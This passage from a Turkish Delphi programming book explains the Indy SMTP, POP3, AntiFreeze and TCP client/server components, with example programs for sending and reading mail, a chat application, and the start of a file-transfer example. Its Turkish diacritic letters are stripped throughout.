Indy Kontrolleri: Bu kontroller Delphi 6 versiyonu sonras projelere eklenmi, Delphi 7 de daha da gelitirilmitir. Performans artrc tedbirler eklenmi olup optimal hz elde edilmeye allmtr. Bu yapraklarda (Indy Server- Indy Client-Indy Misc) yer alan kontroller Bloking modda alrlar yani alttaki satrn iletilebilmesi iin stteki satrn gereklemesi gerekecektir. Yani balan komutunu verdikten sonra balant salanana kadar uygulamanz donacak baka bir ilem yapamayacaksnz (bu sknt yeni kanallar yaratlarak giderilebilir). Server Client mantyla altklar iin hepsini beraber anlatmay uygun grdm. IdSMTP Kontrol: Internet zerinden dier bilgisayarlara mail gndermek iin kullanlan bir kontroldr (Indy Clients Yapranda yer alr). Tek bana mail gnderebilecei gibi, Indy Misc yapranda yer alan IdMessage kontroln kullanarak daha gelimi mailler de gnderebilmektedir (dosya eklenebilir, yazlar formatlanabilir vs). IdSMTP1.Host Servis salaycnzn (e-maili gnderirken zerinden geecei server n ismi) ismini aktarabileceiniz zelliidir. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='www.mynet.com'; end; IdSMTP1.AuthenticationType Mail Server n ifre sorup sormayacan belirleyen zelliidir. Baz mail serverlar ifreyi zorunlu tutmulardr. Bu serverlar zerinden mail gnderebilmeniz iin yetkili bir ifreye sahip olmalsnz. Alabilecei iki seenek vardr.
AuthenticationType atNone atLogin Server ifre Sormaz Server ifre Sorar Sonu

321

procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.AuthenticationType:=atnone;//ifre yok end; IdSMTP1.Username AuthenticationType zelliinin atLogin olmas durumunda kullanc ad yerine geecek olan zelliidir. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='www.mynet.com'; IdSMTP1.AuthenticationType:=atnone; IdSMTP1.Username:=n_demirli; end; IdSMTP1.Port Mail in gnderilecei port numaras bu zellikle belirlenir. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Port:=25;//25 numaral portu kullan end; IdSMTP1.QuickSend Sadece basit mesajlar (formatsz ve dosya eki olmayanlar) gndermek iin kullanlan methoddur. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.QuickSend('mail.mynet.com','Yeni Balk','n_demirli@mynet.com', 'prestige@prestigeturk.com','Tamamdr'); end; Birinci parametre mail server ismini, ikinci parametre balkta yer alacak olan metni, nc parametre kimin gnderdiini, drdnc parametre de kime gideceini belirleyen deerlere sahiptirler.

322

IdSMTP1.Connect Mail gnderme ileminde IDMessage (indy misk yapranda bulunur. Ayrca bu kontroln kullanld e-mailler iin bundan sonra gelimi olarak bahsedilecektir) kontrol kullanlacaksa mail servera balanabilmek iin kullanlan methoddur. procedure TForm1.Button1Click(Sender: TObject); //Balan begin IdSMTP1.Connect;//balan end; IdSMTP1.Send Gelimi derecede e-mail gndermek iin (dosya ekli,formatl vs) kullanlan methoddur. Parametre olarak IdMessage kontroln kullanacaktr. procedure TForm1.Button1Click(Sender: TObject); //Gnder begin IdSMTP1.Send(IdMessage1); end; IdSMTP1.Disconnect Mail gnderildikten sonra balanty kapatmak iin kullanlan methoddur. procedure TForm1.Button1Click(Sender: TObject); //Balanty Kes begin IdSMTP1.Disconnect;//balanty kes end; imdi de bu kontrolle beraber kullanacamz IdMessagenesnesinin e-mail gnderme ilemlerinde kullanacamz zelliklerini inceleyeceiz. Daha sonra gstereceimiz e-mail alma ileminde de IdMessage kontrolnn dier zelliklerini inceleyeceiz.

323

IdMessage Kontrol: Bu kontrolu tek bana deilde belirteceimiz dier elemanlarla beraber kullanrsanz ok etkili sonular alacaksnz. Indy Misc yapranda yer almakta olup hem mesaj alma, hemde mesaj gnderme ileminde kullanlmaktadr. Ayrca e-mail gnderirken mesajnza ekleyeceiniz bir dosya varsa yine bu kontrole ihtiyacnz olacaktr. IdMessage1.From.Name Kar tarafn e-mail i kimin gnderdiini anlamas iin kullanlan zelliktir. AnsiString tipte bir deiken deeri aktarlabilir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.From.Name:=Edit1.Text; end; IdMessage1.From.Address Bu zellikle de e-maili gnderen kiinin adresi dier bilgisayara gnderilebilir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.From.Address:='n_demirli@mynet.com'; end; IdMessage1.Subject Gnderilecek olan mesajn bal bu zellikte tutulur. Dier bilgisayarda mesajn balnda gzkecektir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.Subject:=Edit4.Text; end; IdMessage1.Body.Assign Gnderilecek olan mesaj memo veya ListBox gibi bir kontrolden alnacaksa (Items zellii) ierik bu zellikle belirlenir. 324

procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.Body.Assign(Memo1.Lines); end; IdMessage1.Body.Add ayet mesaj ierii satr satr aktarlacaksa kullnlabilecek ikinci yntemdir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.Body.Add('Selam'); end; IdMessage1.ReplyTo.EMailAddresses E-mail e direk cevap yazlmas durumunda kullanlacak olan e-mail adresi bu zellikle belirlenir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.ReplyTo.EMailAddresses:='n_demirli@mynet.com'; end; IdMessage1.Recipients.EMailAddresses E-mail in gnderilecei adres bu zellikle belirlenir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.Recipients.EMailAddresses:=Edit2.Text; end; IdMessage1.BccList.EMailAddresses ayet e-mail birden fazla adrese gnderilecekse dier mail adresini bu zellie aktarmalsnz. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.BccList.EMailAddresses:=Edit3.Text; end;

325

IdMessage1.MessageParts E-mail inize dosya eklemek iin kullanabileceiniz methoddur. Aadaki yntemle dosyay email e ekleyebilirsiniz. procedure TForm1.Button2Click(Sender: TObject); //Dosya ekle var yol:AnsiString; begin if OpenDialog1.Execute Then yol:=OpenDialog1.FileName; TIdAttachment.Create(IdMessage1.MessageParts,yol); End, Yukarda gsterilen ekilde istediiniz kadar dosyay e-mailinize ekleyebilir, dier bilgisayara gnderebilirsiniz. Uygulama 5:E-Mail Gndermek Yukardaki iki kontrol kullanarak dilediimiz adrese e-mail gnderebiliriz. Aada bu husus rneklendirilmektedir.

Program iin yukardaki tasarm oluturunuz. Ardndan aadaki admlar izleyin. 326

Birinci admda formunuza Indy Client yapranda yer alan IdSMTP kontroln yerletiriniz. kinci admda formunuza Indy Misc yapranda yer alan IdMessage kontroln yerletiriniz. nc admda formunuza bir adet OpenDialog kontrol yerletiriniz. Drdnc admda aada verilen kod blounu Unit pencerenize ekleyin. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='www.mynet.com'; IdSMTP1.AuthenticationType:=atnone;//ifre yok IdSMTP1.Username:=Edit1.Text; IdSMTP1.Port:=25; IdSMTP1.Connect; IdMessage1.From.Name:=Edit1.Text; IdMessage1.From.Address:='n_demirli@mynet.com'; IdMessage1.Subject:=Edit4.Text;//Balk IdMessage1.Body.Assign(Memo1.Lines);//Mesaj erii IdMessage1.ReplyTo.EMailAddresses:='n_demirli@mynet.com'; IdMessage1.Recipients.EMailAddresses:=Edit2.Text;//Buraya Yolla IdMessage1.BccList.EMailAddresses:=Edit3.Text;//Bunlarada gitsin IdSMTP1.Send(IdMessage1); //yolla IdSMTP1.Disconnect; end; procedure TForm1.Button2Click(Sender: TObject); var yol:AnsiString; begin if OpenDialog1.Execute Then yol:=OpenDialog1.FileName; TIdAttachment.Create(IdMessage1.MessageParts,yol);//ekle if CheckBox1.Checked=false Then begin CheckBox1.Visible:=true; CheckBox1.Checked:=true; CheckBox1.Caption:=ExtractFileName(yol);//dosyann adn yaz CheckBox1.Enabled:=false; end else if CheckBox2.Checked=false Then begin CheckBox2.Visible:=true; CheckBox2.Checked:=true; 327

CheckBox2.Caption:=ExtractFileName(yol); CheckBox2.Enabled:=false; end else if CheckBox3.Checked=false Then begin CheckBox3.Visible:=true; CheckBox3.Checked:=true; CheckBox3.Caption:=ExtractFileName(yol); CheckBox3.Enabled:=false; end else showMessage('Maximum 3 Dosya Ekleyebilirsiniz'); Edit5.Text:=yol; end; procedure TForm1.FormCreate(Sender: TObject); begin CheckBox1.Visible:=false; CheckBox2.Visible:=false; CheckBox3.Visible:=false; Edit1.Text:='Nihat Demirli'; Edit2.Text:='n_demirli@mynet.com'; Edit3.Text:='prestige@prestigeturk.com'; Edit4.Text:='Yeni Kitaplar in Gr'; end;

328

IdPOP3 Kontrol: Bu kontrol sayesinde Mail Server unuza balanabilir Kullanc ad ve ifre nizi biliyorsanz tm e-mail bilgilerinizi okuyabilirsiniz. Indy Client yapranda yer alan bu kontrol yine IdMessage kontrolyle k gzel ilemler gerekletirebilmektedir. IdPOP31.CheckMessages Mail Server unuzda e-mail inizin olup olmadn kontrol edebileceiniz bir methoddur. Geriye dndrd deer var olan e-mail saydr. procedure TForm3.Button1Click(Sender: TObject); var sayi,i:Integer; begin sayi:=IdPOP31.CheckMessages;//Ka mail var end; IdPOP31.Host Balant kuracanz Mail Server a ait adres bu zellikle belirlenebilir. procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com'; End; IdPOP31.Username Mail Server bilgisayarnda tantlm olan kullanc adn aktarabileceiniz zelliidir. Mail alrken kullanc ad ve ifresi son derece nem arz etmekte, bilinmesi zorunlu olmaktadr (gnderirken ayn hassasiyeti tm mail server lar gstermemektedir). procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com'; IdPOP31.Username:=N_Demirli'; End; 329

IdPOP31.Password Mail Server bilgisayarna balanrken kullanacanz ifreyi bu zellikle belirlemelisiniz. procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com'; IdPOP31.Username:=N_Demirli; IdPOP31.Password:='sari_tavsanim'; End; IdPOP31.Connect() Yukardaki tm ayarlar yaptktan sonra, Mail Server bilgisayarna balanmak iin kullanlan methoddur. procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com'; IdPOP31.Username:=N_Demirli; IdPOP31.Password:='sari_tavsanim' IdPOP31.Connect();//Balan End; IdPOP31.Retrieve Belirtilen index numaral e-mail e ait tm deerleri IdMessage kontrolne aktarmak iin kullanlan methoddur. procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Retrieve(i,IdMessage1); End; IdPOP31.Disconnect() Balanty salayp e-mailleri rendikten sonra Mail Server ile mutlaka balanty kesmelisiniz. Bu ilemi ancak Disconnect methodunu ararak gerekletirebilirsiniz.

330

OnConnected Yordam Connect methodu arldktan sonra Mail Server ile balant salanabilirse bu yordam otomatik olarak iletilecektir. procedure TForm3.IdPOP31Connected(Sender: TObject); begin ShowMessage('Server le Balant Saland'); end; OnDisconnect Yordam Disconnect methodu arldktan sonra Mail Server ile balant kesilecektir. Bu durumda bu yordam otomatik olarak iletilecektir. procedure TForm3.IdPOP31Disconnected(Sender: TObject); begin ShowMessage('Balant Kesildi'); end; IdMessage Kontrolnn e-mail Alrken Kullanabileceiniz Mrethodlar Daha nce bu kontrole ait e-mail gnderirken kullanabileceiniz zelliklerinden bahsetmitik. imdi de e-mail alrken kullanabileceiniz zellik ve methodlarndan bahsedeceim. IdMessage1.MessageParts.Count Bu methodla e-mail a eklenmi olan AttacHment says belirlenebilir. Basit bir For dngs ierisinde tm dosyalara ulalabilir procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin for j:=0 to Pred(IdMessage1.MessageParts.Count) do//tmne bak begin end; end;

331

IdMessage1.MessageParts.Items[] Index numarasyla belirtilen elemana bu zellikle ulalabilir. procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin if not (IdMessage1.MessageParts.Items[j] is TIdAttachment) Then //ekli dosyam begin end; end; IdMessage1.MessageParts.Items[]).Body Index numarasyla belirtilen elemana ait aklama ksmna ulamak iin kullanlan zelliktir. procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin if IdMessage1.MessageParts.Items[j] is TIdText Then Memo1.Lines.AddStrings(TIdText(IdMessage1.MessageParts.Items[j]).Body); end; IdMessage1.MessageParts.Items[]).FileName Index numarasyla belirtilen elemana ait dosya ismine ulaabileceiniz zelliidir. procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin if IdMessage1.MessageParts.Items[j] is TIdAttachment Then Memo1.Lines.Add(TIdAttachment(IdMessage1.MessageParts.Items[j]).FileName); end; imdi akladmz bu zellikleri rnek zerinde gstererek daha iyi bir ekilde anlamanz salayalm.

332

Uygulama 6:E-Mail Almak Bu rnekte Mail Server bilgisayarna balanp Kullanc Ad ve ifre deerini gireceiz. Doru bilgilerin girilmesi durumunda tm e-mail bilgilerini kendi bilgisayarmzda gstereceiz. rnek iin aadaki iki forma ait tasarm oluturunuz. knci formu oluturmaktaki amacmz Mail Server bilgisayarna ait yaplabilecek ayarlar belirleyebilmek iin olacaktr. Ana Form

ifre Formu

Her ne kadar tasrm grntsnden yaplacak olan ilemler belli olsada biz yine de adm adm projeyi izah edelim. Aada gsterilen admlar srasya ve dikkatlice takip ediniz. 333

Birinci adm da formunuza bir adet Main Menu (Standart Ara ubuunda yer alr) kontrol yerletirerek POP3 Ayarlar altnda Deitir ismiyle tek seenekli bir men yaratnz (Bu seenee tklanld vakit Mail Server adresi, Kullanc ad ,ifre deerleri yeniden belirlenebilecektir). kinci admda formunuza Indy Client yapranda yer alan IdPOP3 kontrol yerletirin. nc admda formunuza Indy Msc yapranda yer alan IdMessage kontroln yerletirin. Drdnc admda Additional yapranda bulunan StringGrid kontrolnden bir adet formunuza izin. Ardndan RowCount deerine 7, ColCount deerine de 6 rakamn girin (7 satr 6 stun olutur). Grntsel adan yine StringGrid Kontrolne ait Options zelliine tklayn. Burada yer alan goFixedVertLine, goFixedHorzLine ve goHorzLine zelliklerine false deerlerini aktarn. Altnc admda formunuza 5 adet CheckBox, ki Adet Button ve bir adet Memo kontrol ekleyiniz. kinci form iin anlatacak fazla bir ey yok. Grntdeki kontroller dnda herhangi bir eklenti zaten yaplmamtr (ki forma da dier Unit i eklemeyi unutmaynz). imdi aadaki kodlar gerekli Unit lere akleyin. var Form3: TForm3; //Ana Forma Ait Kod implementation uses Unit4;//eklemeyi unutmaynz. {$R *.dfm} procedure TForm3.FormCreate(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com';//default deerleri belirle IdPOP31.Username:='n_demirli'; IdPOP31.Password:=tavsan; //Balk satr deerleri StringGrid1.Cells[0,0]:='Dosya'; StringGrid1.Cells[1,0]:='Konu'; StringGrid1.Cells[2,0]:='Kimden'; StringGrid1.Cells[3,0]:='Tarih'; StringGrid1.Cells[4,0]:='Uzunluk'; end;

334

procedure TForm3.Button1Click(Sender: TObject); var sayi,i:Integer; begin IdPOP31.Connect();//Balan sayi:=IdPOP31.CheckMessages;//Ka mail var if sayi=0 Then Panel1.Caption:='Mailiniz Yok' else begin if sayi>5 Then sayi:=5; for i:=0 to sayi-1 do begin IdMessage1.Clear; IdPOP31.Retrieve(i,IdMessage1); if IdMessage1.MessageParts.Count>0 Then if i=0 Then CheckBox1.Checked:=true; if i=1 Then CheckBox2.Checked:=true; if i=2 Then CheckBox3.Checked:=true; if i=3 Then CheckBox4.Checked:=true; if i=4 Then CheckBox5.Checked:=true; StringGrid1.Cells[1,i+1]:=IdMessage1.Subject;//Konu StringGrid1.Cells[2,i+1]:=IdMessage1.From.Text;//Gnderen StringGrid1.Cells[3,i+1]:=DateToStr(IdMessage1.Date);//Tarih StringGrid1.Cells[4,i+1]:=IntToStr(IdPOP31.RetrieveMsgSize(i+1)); end; end end; procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); var i,j:Integer; begin if IdPOP31.Connected Then//Balant varsa al begin i:=Arow-1; Form3.Caption:=IntToStr(i); 335

IdMessage1.Clear; IdPOP31.Retrieve(i+1,IdMessage1); Memo1.Lines.Clear;//Temizle for j:=0 to Pred(IdMessage1.MessageParts.Count) do if not (IdMessage1.MessageParts.Items[j] is TIdAttachment) Then if IdMessage1.MessageParts.Items[j] is TIdText Then Memo1.Lines.AddStrings(TIdText(IdMessage1.MessageParts.Items[j]).Body); end; end; procedure TForm3.IdPOP31Connected(Sender: TObject); //Balanty Kes begin ShowMessage('Server le Balant Saland'); end; procedure TForm3.IdPOP31Disconnected(Sender: TObject); begin ShowMessage('Balant Kesildi'); end; procedure TForm3.Deitir1Click(Sender: TObject); //Men Seenei begin Form4.Show; end; procedure TForm3.Button2Click(Sender: TObject); Var i,j:Integer; begin IdPOP31.Disconnect; //Balanty Kapat for i:=1 to 6 do begin for j:=0 to 4 do begin StringGrid1.Cells[j,i]:='';//Gridi Temizle end ; end; Memo1.Lines.Clear; CheckBox1.Checked:=false; CheckBox2.Checked:=false; CheckBox3.Checked:=false; CheckBox4.Checked:=false; CheckBox5.Checked:=false;end;

336

imdi uygulamay altrp Balan dmesine tklayn size ait olan tm email ler listeye eklenecektir. En sol ksmdaki stuna bakarsanz, ayet e-maile dosya eklentisi varsa size gsterecektir.

imdide ikinci forma ait kodlamay sizlere verelim. var Form4: TForm4; //POP3 Ayarlarnn Yaplaca kinci forma ait kodlama implementation uses Unit3; {$R *.dfm} procedure TForm4.Edit1Change(Sender: TObject); begin Form3.IdPOP31.Host:=Edit1.Text;//Mail Servera ait adres end; procedure TForm4.Edit2Change(Sender: TObject); begin Form3.IdPOP31.Username:=Edit2.Text;//Kullanc Ad end; procedure TForm4.Edit3Change(Sender: TObject); begin Form3.IdPOP31.Password:=Edit3.Text;//ifre end; procedure TForm4.Button1Click(Sender: TObject); 337

begin Form4.Close;//Formu kapat end; Birinci formu atktan sonra Mail Server ile ilgili ayarlarnz deitirmek isterseniz. POP3 Ayarlar mensnde yer alan Deitir seeneine tklayn. Aadaki form alacaktr. Burada gerekli dzenlemeleri yapabilirsiniz.

Bu rnek kolay anlalsn diye (nk CheckBox kontrollerini kodda dizi eklinde yaratarak kafanz kartrmak istemedim. Dizi eklinde tanmlamaynca da kontroller ok can skc ve araya kamaktadr) 5 e-mail dosyasna gre tasarlanmtr. Siz dilerseniz adedi artrabilirsiniz. Bu rnek iin nemli bir hatrlatma yapmak istiyorum . Connect methodu arld anda ilem baarl veya baarsz ekilde sonulanana kadar baka hi bir ilem gerekletiremezsiniz (Indy kontrollerinin zellii gerei bir satr bitmeden dier satrlara geilmez). Yani baka bir dmeye tklayamaz veya formu tayamazsnz (ilk kitabmzda yer alan dng komutlar ksmnda butr durumlar Application.ProcessMessage komutuyla halletmitik). ayet ayn anda dier ilemlerinizi de gerekletirmek isterseniz o zaman belirli aralklarla kontrol size verecek bir yap oluturmak zorundasnz. Bu yapy Delphi sizin yerinize hazrlamtr. Indy Msc yapranda yer alan IdAntiFreeze kontrol bu sorunu halletmek iin tasarlanmtr. Yani bu kontrol formunuza eklemeniz, TimeOut zelliine atadnz deer erevesinde kontrol size vererek dier ilemlerinizi halletmenizi salayacaktr.

338

IdAntiFreeze Kontrol: Bu kontrol sayesinde youn ilemlerin gerekletii durumlarda programnzn imesini engelleyebilir, ayn anda birden fazla komut iletebilme imkanna sahip olabilirsiniz. Aada bu kontrole has zellikler izah edilmektedir. IdAntiFreeze1.Active Ayn anda birden fazla uygulamaya cevap verebilmeniz iin bu zellie true deerini aktarmanz gerekecektir. procedure TForm3.FormCreate(Sender: TObject); begin IdAntiFreeze1.Active; End; IdAntiFreeze1.OnlyWhenIdle Varsaylan deeri true olan bu zellik olayn aktiflemesini salamak iin kullanlacaktr (siz deitirmeyin). procedure TForm3.FormCreate(Sender: TObject); begin IdAntiFreeze1.OnlyWhenIdle:=true; End, IdAntiFreeze1.IdleTimeOut Kontrol size verecek peryodu bu zellikle belirlemelisiniz. Ne kadar kk bir deer verirseniz, ilk kodunuz o kadar yava, yeni ileminiz de o kadar hzl gerekleecektir. procedure TForm3.FormCreate(Sender: TObject); begin IdAntiFreeze1.IdleTimeOut:=10; End; IdAntiFreeze1.Sleep kinci kez iletilebilmesi iin gerekli bekleme sresi bu zellikle belirlenebilir. Girilecek olan deer milisaniye cinsinden olacaktr. 339

IdTCPServer Kontrol: Bu kontrol IdTcpClient nesnesiyle beraber kullanlarak bilgisayarlar arasndaki iletiimi salar. Chat uygulamalar, Dosya transferi, Trojan lar bu kontrollerle kolayca yazlabilirler. Aada kontrole ait zellikler verilmektedir. Dikkatlice inceleyiniz (Indy Server Yapranda bulabilirsiniz). IdTCPServer1.DefaultPort Kontroln dinleyecei port bu zellikle belirlenebilir. Tam say tipli bir deikenin deerini de kullanabilmektedir. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; end; IdTCPServer1.Active Kontroln portu dinleyebilmesi iin port numarasnn belirlenmesi yetmez. Ayrca bu zellie de true deerinin aktarlmas gerekecektir. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; OnConnect Yordam Bu yordam herhangi bir bilgisayarn server a balanmak istemesi durumunda otomatik olarak ileyecektir. Aadaki ekilde tanmlanmtr. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin end; ayet prosedr ierisine dikkat edecek olursanz Athread isminde bir deiken tanmlanmtr. Bu deikeni kullanarak size balanan bilgisayarlar hakknda tm bilgileri renebilirsiniz. Aada bu zelliklerin en nemlileri izah edilmektedir. 340

AThread.Connection.Socket.Binding.PeerIP Server a balanan bilgisayarn IP numarasn renebilmek iin kullanlan zelliidir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var mak:AnsiString; begin mak:=AThread.Connection.Socket.Binding.PeerIP; ListBox1.Items.Add(mak);//Listeye ekle end; AThread.Connection.Socket.Binding.IP Server a balanan bilgisayarn IP numarasn renebilmek iin kullanlan dier bir zelliidir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var mak:AnsiString; begin mak:=AThread.Connection.Socket.Binding.IP; ListBox1.Items.Add(mak);//Listeye ekle end; AThread.Connection.Disconnect Servera balanan bilgisayarlarn belli bir kritere uymalarn isteyebilirsiniz (yenizin olas gerekebilir vs.). Bu kriterlere uymayanlar ise balantdan atabilirsiniz. Balantnn kesilmek istenmesi Disconnect methodu sayesinde gerekleebilecektir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.Disconnect; end; Disconnect methodunu kullandnz bilgisayarn sizinle tekrar haberleebilmesi iin Connect methodunu ikinci kez armas gerekecektir.

341

AThread.Connection.ReadLn() Dier bilgisayar trafndan porta gnderilen ierik bu method sayesinde okunabilir. Geriye dnen deer Ansistring tipte bir deikene hi bir eviriye ihtiya duymadan aktarlabilir. Hatrlatalm Athread parametresi OnExecute yordamnda da aynen kullanlabilir. procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var mesaj:AnsiString; begin mesaj:=AThread.Connection.ReadLn(); Memo1.Lines.Add(mesaj); end; AThread.Connection.WriteLn() Parametre ile girilen string deikene ait deeri size o an balanan bilgisayara gndermek iin kullanlan methoddur. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.WriteLn('Kabul Edildin'); end; AThread.Connection.ReadStream() Porta gelen Stream (dosya veya benzeri) tipli veriyi okumak iin kullanlan methoddur. Dosya transfer ilemlerinde kullanlacaktr. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var dosya:TFileStream; begin dosya:=TFileStream.Create('c:\yuksel.txt',fmCreate); AThread.Connection.ReadStream(dosya);//dosyaya yaz end; Yukardaki kod bulounda, okunan dosya verisi, direk olarak c:\yuksel.txt dosyasna kaydedilecektir.

342

AThread.Connection.WriteStream() Dier bilgisayara gnderilmek zere porta yazlacak dosya verisi bu methodla belirlenir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var yolla:TStream; begin AThread.Connection.WriteStream(yolla); end; AThread.Connection.OpenWriteBuffer() Stream tipli verileri dier bilgisayara gndermek iin bu method kullanlarak ncelikle Buffer kullanma almaldr. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.OpenWriteBuffer(); end; AThread.Connection.CloseWriteBuffer() Stream tipli veriler porttan gnderildikten sonra Buffer iin bu methodla kapatlma ilemi gerekletirilmelidir. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.CloseWriteBuffer(); end; AThread.Connection.ClearWriteBuffer() Buffera yazdktan sonra temizlenmesi iin kullanlan methoddur. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.ClearWriteBuffer();//temizle end;

343

IdTCPClient Kontrol: Indy Clients yapranda yer alan bu kontrol IdTCPServer kontrol ile beraber kullanlarak bilgisayarlar aras haberleme ilemi gerekletirilebilir. Aada kontrole ait zellik ve methodlar verilmektedir. IdTCPClient1.Host Mesajn gnderilecei bilgisayarn IP numaras bu zellikle belirlenir. String tipte bir deiken deeri aktarlabilir. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPClient1.Host:='10.11.0.180'; end; IdTCPClient1.Port Mesajn gnderilecei port numaras bu zellikle belirlenir. Unutmayn hangi port numarasndan gnderirseniz, Server uygulamanzda da o porttan dinlemelisiniz. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPClient1.Host:='10.11.0.180'; IdTCPClient1.Port:=20000; end; IdTCPClient1.Connect() Mesaj gnderebilmek iin ncelikle balantnn salanmas gerekir. Bu methodla dier bilgisayara balanabilirsiniz. procedure TForm1.Button1Click(Sender: TObject); begin IdTCPClient1.Connect();//Balan end; IdTCPClient1.Disconnect() Server makinesi ile balanty kesmek iin kullanlan methoddur. 344

procedure TForm1.Button1Click(Sender: TObject); begin IdTCPClient1.Disconnect();//Balanty Kes end; IdTCPClient1.Connected Dier bilgisayar ile balantnn var olup olmadn bu methodla renebilirsiniz. Geriye true deerinin dnmesi balantnn var olduu anlamn tamaktadr. procedure TForm1.Button1Click(Sender: TObject); begin if IdTCPClient1.Connected Then begin IdTCPClient1.Disconnect(); Button1.Caption:='Balan'; end else begin IdTCPClient1.Connect(); Button1.Caption:='Balanty Kes'; end; end; IdTCPClient1.WriteLn() Dier bilgisayara mesaj gndermek iin kullanlan methoddur. Parametre olarak AnsiString tipte bir deiken girilebilir. procedure TForm1.Button2Click(Sender: TObject); begin IdTCPClient1.WriteLn('Selamlar'); end; IdTCPClient1.ReadLn() Dier bilgisayar tarafndan porta gnderilen mesaj okumak iin kullanlan methoddur. Timer kontrol ierisinde kullanlarak port devaml olarak dinlenebilir (Bunun performansnz dreceini unutmayn).

345

procedure TForm1.Timer1Timer(Sender: TObject); var deger:AnsiString; begin if IdTCPClient1.Connected Then//Balant varsa begin deger:=IdTCPClient1.ReadLn();//oku Memo1.Lines.Add(deger);//yaz end; end; Uygulama 7:Chat Uygulamas Aada iki adet proje gelitirilmitir. Birinci proje gelen mesajlar almak iin, ikincisi ise server makinesine mesaj yollamak iin kullanlacaktr. Tasarmlar aada verilmitir. Server Uygulamas

Uygulama iin kullanlan kod blou aada verilmitir. Formunuzun uygun olan yordamlarna ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); 346

var mak:AnsiString; begin StatusBar1.Panels[0].Text:='Balant Istei Geldi'; mak:=AThread.Connection.Socket.Binding.PeerIP;//IP numaras ListBox1.Items.Add(mak); AThread.Connection.WriteLn('Kabul Edildin');//Geriye Yolla end; procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var mesaj:AnsiString; begin mesaj:=AThread.Connection.ReadLn(); Memo1.Lines.Add(mesaj); end; Client Uygulamas

Client uygulamasna ait form tasarm yukarda verilmitir. procedure TForm1.Button1Click(Sender: TObject); begin if IdTCPClient1.Connected Then begin IdTCPClient1.Disconnect(); Button1.Caption:='Balan'; end else begin 347

IdTCPClient1.Connect(); Button1.Caption:='Balanty Kes'; end; end; procedure TForm1.Button2Click(Sender: TObject); var deger:AnsiString; begin deger:=Memo1.Lines.Strings[Memo1.Lines.count-1];//son satr IdTCPClient1.WriteLn('<N_Demirli> '+deger);//Yolla end; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPClient1.Host:='10.11.0.180'; IdTCPClient1.Port:=20000; IdAntiFreeze1.Active:=true; //ekleyin yoksa kilitlenirsiniz IdAntiFreeze1.OnlyWhenIdle:=true; IdAntiFreeze1.IdleTimeOut:=10; end; procedure TForm1.Timer1Timer(Sender: TObject); var deger:AnsiString; begin if IdTCPClient1.Connected Then begin deger:=IdTCPClient1.ReadLn();//portu oku Memo2.Lines.Add(deger); end; end; procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char); var deger:AnsiString; begin if Key=#13 Then begin deger:=Memo1.Lines.Strings[Memo1.Lines.count-1];//son satr IdTCPClient1.WriteLn('<N_Demirli> '+deger);//yolla end; end; procedure TForm1.IdTCPClient1Connected(Sender: TObject); begin Label1.Caption:='Server a Baaryla Balandn'; end; 348

procedure TForm1.IdTCPClient1Disconnected(Sender: TObject); begin Label1.Caption:='Server la Olan Balantn Koptu'; end; imdi iki uygulamaya ait exe dosyalarn yan yana altrn. Aadaki gibi kolayca haberleebileceksiniz.

349

Uygulama 8:Dosya Transferi imdiki uygulamamzda yine ayn kontrolleri kullanarak dosya gnderme ilemini gerekletireceiz. Uygulama iin yine iki adet proje tasarlayacaz. Birincisi seilen dosyay dier bilgisayara gnderecek, dieri ise porta gelen veriyi okuyup dosya olarak kaydedecek. Server Uygulamas

